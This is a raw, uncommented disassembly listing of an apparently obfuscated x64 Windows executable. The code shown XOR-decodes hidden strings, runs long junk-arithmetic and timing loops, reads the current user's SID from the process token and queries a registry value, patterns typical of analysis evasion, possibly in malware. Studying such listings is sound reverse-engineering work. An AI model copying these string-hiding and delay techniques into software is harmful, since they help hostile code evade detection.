cmp ecx, edx
jae 0x14014d9f7
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d9e0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014da23
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
test r13b, 1
jne 0x14014db19
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014da90
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014da9f
add eax, esi
jmp 0x14014daa4
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014dabd
call fcn.14016f570
mov ecx, eax
jmp 0x14014dafb
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014daf7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014daf7
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014dae0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x14014db82
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014db30
movsd xmm0, qword [rsp + 0x50]
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
inc r13d
cmp r13d, 5
jl 0x14014d970
sub qword [rsp + 0x70], 1
jne 0x14014d960
mov rcx, qword [rsp + 0xc70]
test rcx, rcx
je 0x14014dbfd
mov rax, qword [rsp + 0xc80]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014dbe4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401554cb
call fcn.14019ed30
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc70], xmm0
mov qword [rsp + 0xc80], r15
mov rdx, qword [rsp + 0xd88]
cmp rdx, 0x10
jb 0x14014dc40
inc rdx
mov rcx, qword [rsp + 0xd70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014dc3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401554d1
call fcn.14019ed30
mov qword [rsp + 0xd80], r15
mov qword [rsp + 0xd88], 0xf
mov byte [rsp + 0xd70], 0
mov ecx, dword [rsp + 0x88]
inc ecx
mov dword [rsp + 0x88], ecx
cmp ecx, 0x186a0
jl 0x14014d080
jmp 0x14014d030
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0xbe8]
test rbx, rbx
je 0x140155413
mov rdi, qword [rsp + 0xbf0]
cmp rbx, rdi
je 0x14014dcca
mov r14d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14014dcb9
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
add rbx, 8
cmp rbx, rdi
jne 0x14014dca5
mov rbx, qword [rsp + 0xbe8]
mov rax, qword [rsp + 0xbf8]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14014dd06
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401554d7
mov rcx, rbx
call fcn.14019ed30
jmp 0x140155413
movups xmm0, xmmword [0x1401eb7b8]
movups xmmword [rsp + 0x310], xmm0
movzx eax, word [0x1401eb7c8]
mov word [rsp + 0x320], ax
mov r12d, dword [0x1401ff0f8]
mov r13d, 0x1f
cmp byte [0x1401eb7c9], 0
je 0x14014dfdf
mov r9d, r15d
cmp r12d, 2
jl 0x14014df75
mov esi, 5
movd xmm7, esi
mov ebx, 6
movd xmm8, ebx
movd xmm6, r13d
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x310]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14014dd86
cmp r9d, 0x12
jge 0x14014dfe4
movsxd rax, r9d
lea r10, [rsp + 0x310]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x14014df90
mov esi, 5
lea rdx, [rsp + 0x310]
lea rcx, [0x140202330]
call fcn.140162720
mov rcx, rax
call fcn.1401624f0
nop
lea rcx, [rsp + 0x638]
call fcn.140139910
mov rbx, rax
lea rdi, [0x140206cc0]
cmp rdi, rax
je 0x14014e09b
mov rdx, qword [0x140206cd8]
cmp rdx, 0x10
jb 0x14014e05e
mov rcx, qword [0x140206cc0]
inc rdx
cmp rdx, 0x1000
jb 0x14014e059
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401554dd
mov rcx, r8
call fcn.14019ed30
mov qword [0x140206cd0], r15
mov qword [0x140206cd8], 0xf
mov byte [0x140206cc0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140206cc0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140206cd0], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x650]
cmp rdx, 0x10
jb 0x14014e0de
inc rdx
mov rcx, qword [rsp + 0x638]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014e0d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401554dd
call fcn.14019ed30
mov qword [rsp + 0x648], r15
mov qword [rsp + 0x650], 0xf
mov byte [rsp + 0x638], 0
mov rdx, rdi
lea rcx, [rsp + 0xb20]
call fcn.14015a2b0
mov rdx, rax
lea rcx, [rsp + 0xb00]
call fcn.14012fc70
mov rdx, rax
lea rcx, [rsp + 0x5f8]
call fcn.14012f0b0
mov rbx, rax
lea rdi, [0x140206d60]
cmp rdi, rax
je 0x14014e1b7
mov rdx, qword [0x140206d78]
cmp rdx, 0x10
jb 0x14014e17a
mov rcx, qword [0x140206d60]
inc rdx
cmp rdx, 0x1000
jb 0x14014e175
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401554dd
mov rcx, r8
call fcn.14019ed30
mov qword [0x140206d70], r15
mov qword [0x140206d78], 0xf
mov byte [0x140206d60], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140206d60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140206d70], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x610]
cmp rdx, 0x10
jb 0x14014e1fa
inc rdx
mov rcx, qword [rsp + 0x5f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014e1f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401554dd
call fcn.14019ed30
mov qword [rsp + 0x608], r15
mov qword [rsp + 0x610], 0xf
mov byte [rsp + 0x5f8], 0
cmp qword [0x140206d78], 0x10
cmovae rdi, qword [0x140206d60]
mov r8, qword [0x140206d70]
mov rdx, rdi
lea rcx, [0x140202330]
call fcn.14016ae50
mov rcx, rax
call fcn.1401624f0
nop
jmp 0x14014e25d
movzx eax, word [0x1401eb048]
mov word [rsp + 0x68], ax
movsd xmm0, qword [str.xqBH__t_L1]
movzx eax, byte [0x1401eb04a]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x65
xor byte [rsp + 0x61], 0x1f
xor byte [rsp + 0x62], 0x21
xor byte [rsp + 0x63], 0x23
xor byte [rsp + 0x64], 0x25
xor byte [rsp + 0x65], 0x27
xor byte [rsp + 0x66], 0x29
xor byte [rsp + 0x67], 0x2b
xor byte [rsp + 0x68], 0x2d
xor byte [rsp + 0x69], 0x2f
xor al, 0x31
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
lea rcx, [0x140202330]
call fcn.140162720
mov rcx, rax
call fcn.1401624f0
xorps xmm0, xmm0
movups xmmword [rsp + 0xef8], xmm0
movups xmmword [rsp + 0xf08], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xef8], rax
movdqu xmmword [rsp + 0xf00], xmm0
mov qword [rsp + 0xf10], r15
xor eax, eax
movups xmmword [rsp + 0xfc0], xmm0
movups xmmword [rsp + 0xfd0], xmm0
movups xmmword [rsp + 0xfe0], xmm0
movups xmmword [rsp + 0xff0], xmm0
movups xmmword [rsp + 0x1000], xmm0
movups xmmword [rsp + 0x1010], xmm0
movups xmmword [rsp + 0x1020], xmm0
mov qword [rsp + 0x1030], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xfc0], rax
mov byte [rsp + 0x100c], 0
mov dword [rsp + 0x1010], 7
call fcn.140119c90
mov rcx, rax
test rax, rax
je 0x1401554e3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1018], rax
call fcn.140119c90
mov rcx, rax
test rax, rax
je 0x1401554ee
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1020], rax
call fcn.140119c90
mov rcx, rax
test rax, rax
je 0x1401554f9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1028], rax
call fcn.140119c90
mov rcx, rax
test rax, rax
je 0x140155504
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1030], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xbd0]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14014e4aa
lea rcx, [rsp + 0xef8]
mov rax, qword [rsp + 0xef8]
call qword [rax + VariantCopy]
mov rax, qword [rsp + 0xbd0]
mov qword [rsp + 0xf00], rax
lea rdx, [rsp + 0xfc0]
lea rcx, [rsp + 0xef8]
call fcn.14011a140
test al, al
je 0x14014e4aa
lea rcx, [rsp + 0xfc0]
call fcn.14011a000
mov rdx, rax
lea rcx, [rsp + 0xb40]
call fcn.140155760
nop
mov rdx, qword [rax]
lea rcx, [rsp + 0xae0]
call fcn.140132180
mov rdx, rax
lea rcx, [0x140206d80]
call fcn.14015a0e0
lea rcx, [rsp + 0xae0]
call fcn.1401348a0
nop
lea rcx, [rsp + 0xb40]
call fcn.140155740
mov dword [rsp + 0xd48], 0x400
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0x3a90]
call fcn.140158100
mov dword [rsp + 0xc18], 0xffffff9c
mov dword [rsp + 0xc1c], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xd60], xmm0
mov dword [rsp + 0x40], r15d
xorps xmm15, xmm15
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x3a8]
call fcn.140119690
mov rax, qword [rsp + 0x3a8]
add rax, 0x5f5e100
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0xc88]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc88], xmm0
mov qword [rsp + 0xc98], r15
lea rcx, [rsp + 0x3b0]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x168], rcx
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0xc88]
call fcn.140158030
nop
lea rcx, [rsp + 0x168]
call fcn.140158010
nop
lea rcx, [rsp + 0x3b0]
call fcn.140158010
lea rcx, [rsp + 0x3b8]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x170], rcx
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0xc88]
call fcn.140158030
nop
lea rcx, [rsp + 0x170]
call fcn.140158010
nop
lea rcx, [rsp + 0x3b8]
call fcn.140158010
lea rcx, [rsp + 0x3c0]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x178], rcx
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0xc88]
call fcn.140158030
nop
lea rcx, [rsp + 0x178]
call fcn.140158010
nop
lea rcx, [rsp + 0x3c0]
call fcn.140158010
lea rcx, [rsp + 0x3c8]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x180], rcx
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xc88]
call fcn.140158030
nop
lea rcx, [rsp + 0x180]
call fcn.140158010
nop
lea rcx, [rsp + 0x3c8]
call fcn.140158010
lea rcx, [rsp + 0x3d0]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x188], rcx
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0xc88]
call fcn.140158030
nop
lea rcx, [rsp + 0x188]
call fcn.140158010
nop
lea rcx, [rsp + 0x3d0]
call fcn.140158010
lea rcx, [rsp + 0x3d8]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x190], rcx
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xc88]
call fcn.140158030
nop
lea rcx, [rsp + 0x190]
call fcn.140158010
nop
lea rcx, [rsp + 0x3d8]
call fcn.140158010
lea rcx, [rsp + 0x3e0]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x198]
call fcn.140119a40
movsd xmm14, qword [0x1401ec130]
movsd xmm13, qword [0x1401ec138]
test al, al
jns 0x14014eac6
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x3a90]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140161390
mov rbx, qword [rsp + 0xc90]
sub rbx, qword [rsp + 0xc88]
sar rbx, 3
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xc88]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.140161630
movaps xmm1, xmm13
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1120]
call fcn.140132180
nop
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0x1120]
call fcn.140119880
lea rcx, [rsp + 0xe98]
call fcn.140119a90
lea rcx, [rsp + 0xe98]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x7a0], xmm6
lea r8, [rsp + 0x7a0]
mov rdx, qword [rsp + 0xea0]
mov rcx, qword [rsp + 0xe98]
call fcn.1401616b0
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xe98]
call fcn.140119990
mov rdx, qword [rsp + 0xea0]
mov rcx, qword [rsp + 0xe98]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014e98a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
test eax, eax
jne 0x14014e9af
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014e9be
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r15d
nop word [rax + rax]
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x3a90]
test bl, 1
jne 0x14014ea3b
lea rcx, [rsp + 0xc18]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014ea5d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xd60]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x14014e9d0
sub rdi, 1
jne 0x14014e9c3
lea rcx, [rsp + 0xe98]
call fcn.140158150
nop
lea rcx, [rsp + 0x1120]
call fcn.1401348a0
sub rsi, 1
jne 0x14014e780
lea rcx, [rsp + 0x3e0]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x198]
call fcn.140119a40
test al, al
js 0x14014e770
mov r12d, dword [0x1401ff0f8]
lea esi, [rdi + 5]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xc88]
call fcn.140158060
movsd xmm0, qword [str.sLF_]
movsd qword [rsp + 0x90], xmm0
movzx eax, word [0x1401ead40]
mov ecx, 0x6e
mov word [rsp + 0x90], cx
xor word [rsp + 0x92], 0x1f
xor word [rsp + 0x94], 0x21
xor word [rsp + 0x96], 0x23
xor ax, 0x25
mov word [rsp + 0x98], ax
movups xmm0, xmmword [str.NPgwrfnql_RFDHaM.___1K]
movups xmmword [rsp + 0x870], xmm0
movups xmm1, xmmword [0x1401eb5c0]
movups xmmword [rsp + 0x880], xmm1
movups xmm0, xmmword [0x1401eb5d0]
movups xmmword [rsp + 0x890], xmm0
cmp r12d, 2
jl 0x14014ed3b
mov edx, r15d
movd xmm7, esi
mov eax, 6
movd xmm8, eax
movd xmm6, r13d
lea rcx, [rsp + 0x870]
nop dword [rax + rax]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm6
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1401ec1b0]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, qword [0x1401ec220]
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm6
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1401ec1b0]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, qword [0x1401ec220]
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x18
jl 0x14014eb80
jmp 0x14014eda4
lea r10, [rsp + 0x870]
mov r9d, r15d
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x1d
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x18
jl 0x14014ed50
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xd710]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9d, 2
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x870]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0x4e20]
call fcn.140158100
mov dword [rsp + 0xc20], 0xffffff9c
mov dword [rsp + 0xc24], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xdb0], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x3e8]
call fcn.140119690
mov rax, qword [rsp + 0x3e8]
add rax, 0x5f5e100
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0xca0]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xca0], xmm0
mov qword [rsp + 0xcb0], r15
lea rcx, [rsp + 0x3f0]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1a0], rcx
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0xca0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1a0]
call fcn.140158010
nop
lea rcx, [rsp + 0x3f0]
call fcn.140158010
lea rcx, [rsp + 0x3f8]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1a8], rcx
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0xca0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1a8]
call fcn.140158010
nop
lea rcx, [rsp + 0x3f8]
call fcn.140158010
lea rcx, [rsp + 0x400]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x1b0], rcx
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xca0]
call fcn.140158030
nop
lea rcx, [rsp + 0x1b0]
call fcn.140158010
nop
lea rcx, [rsp + 0x400]
call fcn.140158010
lea rcx, [rsp + 0x408]
call fcn.1401615a0
nop
